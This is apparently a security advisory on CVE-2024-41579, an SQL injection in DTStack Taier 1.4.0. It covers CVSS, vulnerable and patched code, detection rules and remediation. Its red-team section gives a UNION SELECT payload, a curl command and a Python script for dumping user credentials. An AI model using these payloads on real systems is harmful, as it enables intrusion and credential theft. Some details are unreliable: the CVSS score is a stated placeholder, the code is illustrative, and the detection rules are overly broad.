CVE-2024-41579

Executive Summary

CVE-2024-41579 is a critical SQL injection vulnerability discovered in DTStack Taier version 1.4.0. The flaw resides in the console listNames function, where the jobName parameter is not properly sanitized before being used in a SQL query. An unauthenticated remote attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical. No official patch has been released as of this report.

Supply Chain & Package Security

This vulnerability affects the DTStack Taier application, which is a Java-based big data task scheduling platform. It is not a package manager (NPM, PyPI, Go, Ruby) issue, but rather a direct application vulnerability. Users should verify the integrity of their Taier distribution and monitor for any official updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Full database write access.
• Availability (A): High (H) – Potential for database corruption or deletion.

Threat Level: Critical. The lack of authentication and low complexity make this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the console listNames API endpoint. The jobName parameter is directly concatenated into a SQL query without parameterization or escaping. An attacker can inject SQL commands by crafting a malicious jobName value.

Root Cause: The application uses string concatenation to build SQL queries instead of prepared statements or parameterized queries.

Attack Vector: HTTP GET/POST request to the vulnerable endpoint.

Example vulnerable request:

GET /api/console/listNames?jobName=test' OR '1'='1

This would result in a SQL query like:

SELECT * FROM jobs WHERE jobName = 'test' OR '1'='1'

Vulnerable vs. Patched Code

Vulnerable Code (Java example):

public List<Job> listNames(String jobName) {
    String sql = "SELECT * FROM jobs WHERE jobName = '" + jobName + "'";
    return jdbcTemplate.query(sql, new JobRowMapper());
}

Patched Code (hypothetical):

public List<Job> listNames(String jobName) {
    String sql = "SELECT * FROM jobs WHERE jobName = ?";
    return jdbcTemplate.query(sql, new Object[]{jobName}, new JobRowMapper());
}

The patched version uses a parameterized query (?) which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• DTStack Taier 1.4.0 running on a target host.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the endpoint:

   GET /api/console/listNames
   

2. Craft a malicious payload:

   jobName=test' UNION SELECT username, password FROM users--
   

3. Execute the attack:

   curl -X GET "http://target:port/api/console/listNames?jobName=test' UNION SELECT username, password FROM users--"
   

4. Extract data: The response will include the unioned data.

Automated Exploit (Python):

import requests

target = "http://target:port"
payload = "test' UNION SELECT username, password FROM users--"
url = f"{target}/api/console/listNames?jobName={payload}"
response = requests.get(url)
print(response.text)

Blue Team

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests containing SQL keywords (UNION, SELECT, OR, AND) in the jobName parameter.
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a decoy Taier instance to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/console/listNames with SQL-like payloads in the jobName parameter.
  • Unusual database error messages in HTTP responses (e.g., "SQL syntax error").

• File IOCs:

  • Modified application logs containing SQL injection attempts.
  • Unexpected database dumps or exports.

• System IOCs:

  • Unusual database queries from the Taier application user.
  • High CPU or memory usage on the database server.

Detection Engineering

YARA Rule

rule CVE_2024_41579_SQLi {
    meta:
        description = "Detects SQL injection attempts against DTStack Taier listNames endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41579"
    strings:
        $s1 = "jobName=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "AND" nocase
        $s6 = "1=1" nocase
        $s7 = "1=2" nocase
        $s8 = "admin" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6, $s7, $s8)
}

Sigma Rule

title: CVE-2024-41579 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against DTStack Taier listNames endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "jobName="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in job names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41579 SQL Injection Attempt"; flow:to_server; content:"/api/console/listNames"; http_uri; content:"jobName="; http_uri; pcre:"/UNION|SELECT|OR|AND|1=1|1=2/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from untrusted networks.
2. Apply a WAF rule to block SQL injection patterns in the jobName parameter.
3. Review database logs for signs of exploitation.

Long-term Fix:

• Upgrade to a patched version when available.
• Implement parameterized queries in the listNames function.
• Conduct a code audit for similar vulnerabilities in other endpoints.

Workaround:

• If patching is not possible, disable the listNames endpoint or restrict access via firewall rules.

Valters IT